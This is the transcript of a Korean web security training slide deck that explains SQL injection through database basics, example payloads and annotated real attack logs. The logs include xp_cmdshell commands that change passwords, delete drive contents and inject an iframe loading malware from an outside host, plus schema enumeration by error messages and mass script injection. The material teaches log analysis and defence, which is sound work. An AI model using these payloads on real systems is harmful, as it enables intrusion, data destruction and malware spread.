1 / 59

Section II. 웹 취약점의 공격과 방어 3. 웹 취약점 분류 4. SQL Injection 5. XSS 6. 파일 업로드 7. 파일 다운로드 8. 디렉토리 노출

Section II. 웹 취약점의 공격과 방어 3. 웹 취약점 분류 4. SQL Injection 5. XSS 6. 파일 업로드 7. 파일 다운로드 8. 디렉토리 노출 9. 인증이 없는 관리자 페이지 10. 쿠키변조 및 재사용 11. 파라미터 변조를 통한 시스템 명령어 사용 12. 자바스크립트 우회 13. HTTP 메소드 14. 불필요한 파일 노출 15. 에러 노출 16. 검색엔진. 학습 포인트 1. 웹 취약점 종류 및 원인에 대한 이해

egan
Download Presentation

Section II. 웹 취약점의 공격과 방어 3. 웹 취약점 분류 4. SQL Injection 5. XSS 6. 파일 업로드 7. 파일 다운로드 8. 디렉토리 노출

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Section II. 웹 취약점의 공격과 방어 3. 웹 취약점 분류 4. SQL Injection 5. XSS 6. 파일 업로드 7. 파일 다운로드 8. 디렉토리 노출 9. 인증이 없는 관리자 페이지 10. 쿠키변조 및 재사용 11. 파라미터 변조를 통한 시스템 명령어 사용 12. 자바스크립트 우회 13. HTTP 메소드 14. 불필요한 파일 노출 15. 에러 노출 16. 검색엔진

  2. 학습 포인트 1. 웹 취약점 종류 및 원인에 대한 이해 2. 취약점별 공격로그의 이해 3. 취약점별 대책(코딩 및 설정)

  3. 3. 취약점 분류 사이트 : www.owasp.org 웹 취약점을 10가지 형태로 분류하고 정의하며, 웹 보안에 관심 있는 기업 및 개인이 함께 공통된 프로젝트 수행

  4. 3. 취약점 분류

  5. 4. SQL Injection – 데이터베이스의 이해(1) • 데이터 : 현실 세계에서 존재하는 여러 가지 정보 • 예) 친구 이름, 주소 등 • 데이터베이스 : 데이터를 효율적으로 관리하기 위해 분리한 정보 데이터베이스 … 테이블 제품명 가격 .. 사번 직책 .. 이름 주소 .. 필드

  6. 4. SQL Injection – 데이터베이스의 이해(2) • 데이터베이스의 테이블을 정의하고 작성한다. • DLL 언어 : create(생성), alter(변경), drop(삭제) • 데이터베이스를 추가, 갱신, 삭제 및 검색을 수행한다. • DML 언어 : select, insert, update, delete • 데이터베이스 보안과 데이터의 연속성을 유지한다. • DCL 언어 : grant(권한할당), revoke(권한제거), commit(데이터변경승인) • , rollback(데이터변경취소)

  7. 4. SQL Injection – 데이터베이스의 이해(3) Select * from 상품 ; Select * from 상품 where 상품이름 = ‘mp3’ ; 테이블 이름 : 상품

  8. 4. SQL Injection – 데이터베이스의 이해(4) insert into 상품 (상품번호, 상품이름, 가격) Values(100, ‘LCD’, ‘3000000’); 테이블 이름 : 상품

  9. 4. SQL Injection – 데이터베이스의 이해(5) update 상품 set 가격 = 50000 where 상품이름 = ‘mp3’ ; 테이블 이름 : 상품

  10. 4. SQL Injection – 데이터베이스의 이해(6) Select * from 직장인 Union Select * from 학생; 두개의 조건 일치 ( 조건 : 두개의 데이터형이 동일) 직장인 학생

  11. 4. SQL Injection – 데이터베이스의 이해(7) select 지역이름, AVG(점포면적) from 지역 -------------- ① group by 지역이름 -------------- ② having AVG(점포면적) < 700; -------------- ③ ① ③ ②

  12. 4. SQL Injection – 데이터베이스의 이해(8) 숫자 형태에만 적용 가능 select sum(면적) 면적합계 from 지점; 테이블이름 : 지점 면적합계 : 32000

  13. 4. SQL Injection – 데이터베이스의 이해(8) select sum(지점명) 면적합계 from 지점; 테이블이름 : 지점 에러가 발생 ORA-01722 수 값이 유효하지 않습니다.

  14. 4. SQL Injection – 종류 구분 ① SQL Injection – 논리적 에러 예. SELECT * FROM user_data WHERE last_name = 'Your Name' or '1=1‘ ② Blind SQL Injection – 쿼리 결과 여부 예1. http://www.xxx.com/page.php?id=5 and 1=1 예2. http://www.xxx.com/page.php?id=5 and 1=2 ③ Union SQL Injection – 이중 쿼리 예1. http://www.site.com/news.php?id=5 union all select top 1 table_name from information_schema.tables ④ Stored Procedure SQL Injection - 저장프로시저 예1. http://www.site.com/member/checkid.asp?id= ';CREAT.....r.dbo.xp_cmdshell%20'netstat%20-an'; 12

  15. 4. SQL Injection – 원인은 무엇인가? System Object 권한제어 없이 기본 값 사용 1 ) exec master..xp_cmdshell 'net user administrator password'   디폴트 유저인 administrator의 패스워드 변경 2 ) exec master..xp_cmdshell 'dir c:\'C 드라이브 정보 보기 3 ) exec master..xp_cmdshell 'del c:\ /q/s'C 드라이브 파일 삭제 DB 계정을 관리자 계정(sa) 으로 일괄적 사용 1) bbs/bbs.asp?id=1

  16. 4. SQL Injection 기본 방법 이해 $id=admin $passwd=1’ or ‘1=1 admin********** 관리자로 로그인 성공 $strLoginSQL = "Select * from member where id = '$strUserID' and password = '$strUserPass'"; $strLoginSQL = "Select * from member where id = ‘admin' and password = ‘1’ or ‘1 = 1'"; FALSE TRUE TRUE

  17. 4. SQL Injection 기본 방법 이해 – 실습(1) ② ① ③

  18. 4. SQL Injection 기본 방법 이해 – 실습(2)

  19. 4. SQL Injection 기본 방법 이해 – 실습(3)

  20. 4. SQL Injection 기본 방법 이해 – 실습(4)

  21. 4. SQL Injection 기본 방법 이해 – 실습(5) • 계정 ‘-- 암호 -- • 에러정보 • Uname=%27--&Pass=%27--&submitLogin=Submit • 2) 계정 'or 1=1 암호 'or 1=1 • 에러정보 • 'UserName = ''or 1=1' and Pass = ''or 1=1'‘ • Quiz . 1번과 2번 정보를 바탕으로 어떤 값을 넣어야 하는가?

  22. 4. SQL Injection 공격 로그의 특징 ■ 서버 응답 코드가 500 보다 높거나 계속적인 다른 에러 - 응답코드 500 : Internal Server Error ■ 운영과 관련 없는 형태의 질의 요청(시스템 명령어 및 특수문자 포함 등) - 특수문자 : ‘ ; xp_cmdshell 등

  23. 4. SQL Injection 공격 로그 – 첫 번째 1. Number=2002-002412'|63|80040e14|'2002-002412''_문자열_앞에_닫히지_않은_인용_부호가_있습니다. 2. Number=2002-002412' and user=1 and ''='|63|80040e07|nvarchar_값_'team'을(를)_int_데이터_형식의_열로_변환 하는_중_구문_오류가_발생했습니다. 500 3. Number=2002-002412' And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And ''='|63|80040e07|varchar_값_'0|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_발생했습니다. 500 4. /Report.asp Number=2002-002412' And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And ''='|63|80040e07|varchar_값_'1|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_발생했습니다. 500 5. Number=2002-002412’; exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll' 6. Number=2002-002412’; EXEC%20MASTER..XP_CMDSHELL%20'echo%20^<iframe%20src=^'http://www.netpk.org/subway/icyfox.htm^'%20

  24. 4. SQL Injection 공격 로그 – 첫 번째 데이터타입불일치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예1) ' and user=1 and ''=‘ (예2) char(124)+user+char(124)=0 and '%'=‘ ( char(124)는 파이프를 의미함 |user|=0 )

  25. 4. SQL Injection 공격 로그 – 첫 번째 확인한 계정의 서버역할이 sysadmin 인지 요청함 ' And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And ''=‘

  26. 4. SQL Injection 공격 로그– 첫 번째 확인한 계정의 DB역할이 db_owner 인지 요청함 ' And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And ''='

  27. 4. SQL Injection 공격 로그 – 첫 번째 • 마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 • ’; exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll‘ • * MS SQL의 기본 DB 구성 요소 • Master db : 로그인 계정, 환경설정, 시스템 저장 프로시저와 같은 시스템에 • 영향을 미치는 정보 저장(중요) • Msdb : 작업정의, 연산자, 수정작업과 같은 정보 저장 • Model : 참조 db이며, 사용자를 이를 바탕으로 db 작성 • Tempdb : 임시 테이블 및 임시 저장 프로시저 저장 * 저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합, 특정 작업을 일괄 처리하기위한 용도로 사용

  28. 4. SQL Injection 공격 로그 – 첫 번째 생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(<iframe>…..) 및 소스 중간 삽입 ’; EXEC%20MASTER..XP_CMDSHELL%20'echo%20^ <iframe%20src=^'http://www.netpk.org/subway/icyfox.htm^'%20 악성프로그램(다운로드) 사용자 <iframe src=http://xxx.xxx>

  29. 4. SQL Injection 공격 로그 – 두 번째 확장형 저장 프로시저 (xp_cmdshell)제거 - dropextendedproc ;exec%20master.dbo.sp_dropextendedproc%20'xp_cmdshell'--

  30. 4. SQL Injection 공격 로그 – 세 번째 /Test/Test.asp Code= Bank' &Number=7 &Ref=7' &Page=1&Sear=Writer&Key= |24|80040e14| '_SET_Visited=Visited+1_WHERE_Number_=_7'_문자열_앞에_닫히지_ 않은_인용_부호가_있습니다. 500 === 초기형태로 특수문자(‘)후 에러 노출 여부 확인 목적 /Report.asp Number=2002-002412' and user=1 and ''=‘ |63|80040e07|nvarchar_값_'blabla'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_ 발생했습니다. 500 === 에러 노출을 이용한 db 계정 획득 목적 200X-09-10 06:24:49 /Report.asp Number=2002-002412' And Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))+char(124)=1 And ''=‘ |63|80040e07|varchar_값_'0|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_ 발생했습니다. 500 === db계정(blabla)가 sysadmin 인지를 확인

  31. 4. SQL Injection 공격 로그 – 세 번째 IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) = IS_SRVROLEMEMBER(sysadmin)

  32. 4. SQL Injection 공격 로그 – 세 번째 Cast(IS_MEMBER(0x640062005F006F0077006E0065007200) = Cast(IS_MEMBER(db_owner)

  33. 4. SQL Injection 공격 로그 – 세 번째 db_name() 함수 : 데이터베이스 이름 제공

  34. 4. SQL Injection 공격 로그 – 세 번째 • 테이블 삭제 ( drop nb_treelist_tmp ) • 테이블 생성 ( create table nb_treelist_tmp … )

  35. 4. SQL Injection 공격 로그 – 세 번째 exec master..xp_dirtree 'C:\‘ 1 1

  36. 4. SQL Injection 공격 로그 – 세 번째

  37. 4. SQL Injection 공격 로그 – 세 번째 SQL> SELECT rowid, rownum, deptno, dname from dept; ROWID    ROWNUM     DEPTNO DNAME------------------ ---------- ---------- --------------AAA          1          10 ACCOUNTINGAAB          2          20 RESEARCHAAC          3          30 SALESAAD          4          40 OPERATIONS SQL> SELECT ENAME, SAL, ROWNUM FROM(SELECT * FROM EMP ORDER BY SAL DESC); ENAME             SAL     ROWNUM---------- ---------- ----------ABBK 70001KING             5000          2FORD             3000          3SCOTT            3000          4JONES            2975          5BLAKE            2850          6CLARK            2450          7ALLEN            1600          8

  38. 4. SQL Injection 공격 로그 – 세 번째 • Declare : 선언하는 함수 • @a를 sysname ( @a=db_name() 는 데이터베이스이름을 @a로 할당) • - @s를 nvarchar(4000)형태로 4000바이트의 공간 할당하며, 16진수형태이름을 • 할당함, 즉 love.bak라는 이름을 @s로 별칭줌 • @s=0x6C006F00760065002E00620061006B00 • - Backup database @a(db_name()) to disk=@s • 참고) 백업 명령: backup database 데이터베이스이름to 백업장치

  39. 4. SQL Injection 공격 로그 – 네 번째 Update normal(테이블이름) set subject(필드) = '<h2>!nf3rN.4lL Was Here</2>‘(내용); 참고)update 테이블이름 set 필드이름 = ‘변경내용’ Quiz. 공격자는 사전에 테이블이름과 필드이름, 필드타입 등을 어떻게 취득 가능하였을 까?

  40. 4. SQL Injection 공격 로그 – 네 번째 Quiz. 공격자는 사전에 테이블이름과 필드이름, 필드타입 등을 어떻게 취득 가능하였을 까? 에러 ‘having 1=1-- 테이블 이름 : FSB_USERS 필드 : user_id

  41. 4. SQL Injection 공격 로그 – 네 번째 테이블 이름 : FSB_USERS 필드 : user_id 그렇다면 다른 필드 값은 어떻게? ‘group by user_id having 1=1-- 테이블 이름 : FSB_USERS 필드 : user_id user_name

  42. 4. SQL Injection 공격 로그 – 네 번째 테이블 이름 : FSB_USERS 필드 : user_id user_name user_id password creation_date 그렇다면 필드의 데이터 타입은? 'UNION select sum(user_id) from FSB_USERS having 1=1-- 참고 : sum은 숫자 타입에만 사용 가능 The sum or average aggregate operation cannot take a varchar data type as an argument.

  43. 4. SQL Injection 공격 로그 – 네 번째 결론 : 결국 데이터베이스 정보(테이블 및 필드 이름, 필드 타입)확보를 통해 임의 데이터 변조가 가능함 테이블 이름 : FSB_USERS 필드 : user_id ( integer ) user_name ( varchar ) user_id ( varchar ) password ( varchar ) creation_date ( datetime ) 'insert into FSB_USERS values (user_id, ‘user_name', ‘user_id', ‘password', GETDATE())--

  44. 4. SQL Injection 공격 로그 – 다섯 번째 Mass SQL Injection : 데이터베이스의 정보를 악용하여 악성코드 링크를 특정 테이블의 필드 혹은 전체 테이블의 필드(게시판 등)에 삽입하여 접속하는 사용자를 악성코드에 감염시키는 대량 공격 기법 http://xxx.com 데이터베이스 사용자 … 테이블 사용자 우편번호 게시판 필드 <script src=http://xxx.com>

  45. 4. SQL Injection 공격 로그 – 다섯 번째

  46. 4. SQL Injection 공격 로그 – 다섯 번째 Sysobjects(데이터베이스에서 만들어진 각 개체(제약 조건, 기본값, 로그, 규칙, 저장 프로시저 등)에 대해 한 행을 포함합니다. syscolumns(모든 테이블과 뷰에 있는 각 칼럼 정보 제공), systypes(데이터베이스에 있는 모든 시스템 데이터 타입과 정의 데이터 타입을 제공) Sysobjects정보

  47. 4. SQL Injection 공격 로그 – 다섯 번째 sysobjects의 type 필드 C = CHECK 제약 조건D = 기본값 또는 DEFAULT 제약 조건F = FOREIGN KEY 제약 조건FN = 스칼라 함수IF = 인라인 테이블 함수K = PRIMARY KEY 또는 UNIQUE 제약 조건L = 로그P = 저장 프로시저R = 규칙RF = 복제 필터 저장 프로시저S = 시스템 테이블TF = 테이블 함수TR = 트리거U = 사용자 테이블V = 뷰X = 확장 저장 프로시저 Quiz. 어떤 의미인가? select * from sysobjects where type = 'U';

  48. 4. SQL Injection 공격 로그 – 다섯 번째 Syscolumns, systypes 정보

  49. 4. SQL Injection 공격 로그 – 다섯 번째 Sysobjects(테이블 이름) Syscolumns(테이블 필드), Systypes(테이블 필드의 데이터 타입) dbo.sysobjects a ( sysobjects를 a 로 별칭 ) dbo.syscolumns b ( syscolumn를 b 로 별칭 ) dbo.systypes c ( systypes를 c 로 별칭 ) where a.id=b.id and a.xtype='U‘ and b.xtype=c.xtype and c.name='varchar'; 테이블정보 사용자테이블 테이블 필드 데이터필드 중 varchar

More Related